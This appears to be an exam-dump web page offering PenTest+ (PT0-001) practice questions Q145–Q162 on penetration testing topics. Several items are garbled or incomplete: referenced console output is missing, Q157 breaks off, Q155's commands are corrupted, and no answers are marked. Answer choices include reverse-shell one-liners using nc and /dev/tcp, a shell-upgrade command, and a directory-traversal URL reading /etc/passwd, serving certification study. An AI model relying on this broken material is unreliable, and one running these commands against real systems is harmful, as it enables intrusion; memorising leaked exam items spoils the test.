Check the Free demo of our PT0-001 Exam Dumps with 295 Questions [Q145-Q162]

4/5 - (1 vote)

Check the Free demo of our PT0-001 Exam Dumps with 295 Questions

Clear your concepts with PT0-001 Questions Before Attempting Real exam

CompTIA PenTest+ certification is an industry-recognized certification for penetration testing professionals. It certifies individuals in the knowledge and skills required to plan and execute penetration testing engagements. CompTIA PenTest+ Certification Exam certification was launched by CompTIA in 2018 and has been growing in popularity ever since.

NO.145 Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

Stack pointer register

Index pointer register

Stack base pointer

Destination index register

Reference:
http://www.informit.com/articles/article.aspx?p=704311&seqNum=3

NO.146 A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE).

Mandate all employees take security awareness training.

Implement two-factor authentication for remote access.

Install an intrusion prevention system.

Increase password complexity requirements.

Install a security information event monitoring solution.

Prevent members of the IT department from interactively logging in as administrators.

Upgrade the cipher suite used for the VPN solution.

NO.147 A penetration tester is preparing for an assessment of a web server’s security, which is used to host several sensitive web applications. The web server is PKI protected, and the penetration tester reviews the certificate presented by the server during the SSL handshake. Which of the following certificate fields or extensions would be of MOST use to the penetration tester during an assessment?

Subject key identifier

Subject alternative name

Authority information access

Service principal name

NO.148 An attacker performed a MITM attack against a mobile application. The attacker is attempting to manipulate the application’s network traffic via a proxy tool. The attacker only sees limited traffic as cleartext. The application log files indicate secure SSL/TLS connections are failing. Which of the following is MOST likely preventing proxying of all traffic?

Misconfigured routes

Certificate pinning

Strong cipher suites

Closed ports

NO.149 A penetration tester is performing a wireless penetration test. Which of the following are some vulnerabilities that might allow the penetration tester to easily and quickly access a WPA2-protected access point?

Deauthentication attacks against an access point can allow an opportunity to capture the four-way handshake, which can be used to obtain and crack the encrypted password.

Injection of customized ARP packets can generate many initialization vectors quickly, making it faster to crack the password, which can then be used to connect to the WPA2-protected access point.

Weak implementations of the WEP can allow pin numbers to be guessed quickly, which can then be used to retrieve the password, which can then be used to connect to the WEP-protected access point.

Rainbow tables contain all possible password combinations, which can be used to perform a brute-force password attack to retrieve the password, which can then be used to connect to the WPA2-protected access point.

Explanation

NO.150 A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use?

perl -e ‘ use SOCKET’; $i='<SOURCEIP>; $p=’443;

ssh superadmin@<DESTINATIONIP> -p 443

nc -e /bin/sh <SOURCEIP> 443

bash -i >& /dev/tcp/<DESTINATIONIP>/ 443 0>&1

References: https://hackernoon.com/reverse-shell-cf154dfee6bd

NO.151 A penetration tester is performing a code review. Which of the following testing techniques is being performed?

Dynamic analysis

Fuzzing analysis

Static analysis

Run-time analysis

Reference:
https://smartbear.com/learn/code-review/what-is-code-review/

NO.152 Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once

Explanation
Zverlory
Zverl0ry
zv3rlory
Zv3r!0ry

NO.153 A penetration tester is performing a validation scan after an organization remediated a vulnerability on port 443 The penetration tester observes the following output:

Which of the following has MOST likely occurred?

The scan results were a false positive.

The IPS is blocking traffic to port 443

A mismatched firewall rule is blocking 443.

The organization moved services to port 8443

NO.154 Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

Penetration test findings often contain company intellectual property

Penetration test findings could lead to consumer dissatisfaction if made pubic

Penetration test findings are legal documents containing privileged information

Penetration test findings can assist an attacker in compromising a system

NO.155 After successfully enumerating users on an Active Directory domain controller using enum4linux a penetration tester wants to conduct a password-guessing attack Given the below output:

Which of the following can be used to extract usernames from the above output prior to conducting the attack?

cat enum41inux_output.txt > grep -v user I sed ‘s/[//’ I sed ‘s/]//’ 2> usernames.txt

grep user enuza41inux_output.txt I awk ‘{print $1}’ | cut -d[ -S2 I cut -d] -f1 > username.txt

grep -i rid v< enura.41inux_output. txt’ | cut -d: -S2 i cut -d] -f1 > usernames. txt

cut -d: -f2 enum41inux_output.txt | awk ‘{print S2}’ I cut -d: -f1 > usernaraes.txt

NO.156 A penetration tester runs the following from a compromised ‘python -c ‘ import pty;pty.spawn (“/bin/bash”) ‘. Which of the following actions are the tester taking?

Removing the Bash history

Upgrading the shell

Creating a sandbox

Capturing credentials

Explanation/Reference: https://schu.media/2017/08/05/using-reverse-shell-to-get-access-to-your-server/

NO.157 You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.

NO.158 Which of the following is an example of a spear phishing attack?

Targeting an executive with an SMS attack

Targeting a specific team with an email attack

Targeting random users with a USB key drop

Targeting an organization with a watering hole attack

NO.159 A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

Advanced persistent threat

Script kiddie

Hacktivist

Organized crime

NO.160 A recently concluded penetration test revealed that a legacy web application is vulnerable to SQL injection.
Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not in a position to risk the availability on the application. Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk? (Choose two.)

Identity and eliminate inline SQL statements from the code.

Identify and eliminate dynamic SQL from stored procedures.

Identify and sanitize all user inputs.

Use a whitelist approach for SQL statements.

Use a blacklist approach for SQL statements.

Identify the source of malicious input and block the IP address.

Explanation

NO.161 A penetration tester is checking a script to determine why some basic persisting. The expected result was the program outputting “True.”

Given the output from the console above, which of the following explains how to correct the errors in the script? (Select TWO)

Change fi’ to ‘Endlf

Remove the ‘let’ in front of ‘dest=5+5’.

Change the ‘=” to ‘-eq’.

Change *source* and ‘dest’ to “Ssource” and “Sdest”

Change ‘else’ to ‘elif.

NO.162 A penetration tester entered the following information into the browser URL:
https://www.example.com/login.php?file=../../../../../../../etc/passwd
The server responded with the data contained in the server’s sensitive data file. Which of the following types of vulnerabilities is MOST likely being exploited?

Weak credentials

Race conditions

Directory traversal

Command injection

Loading …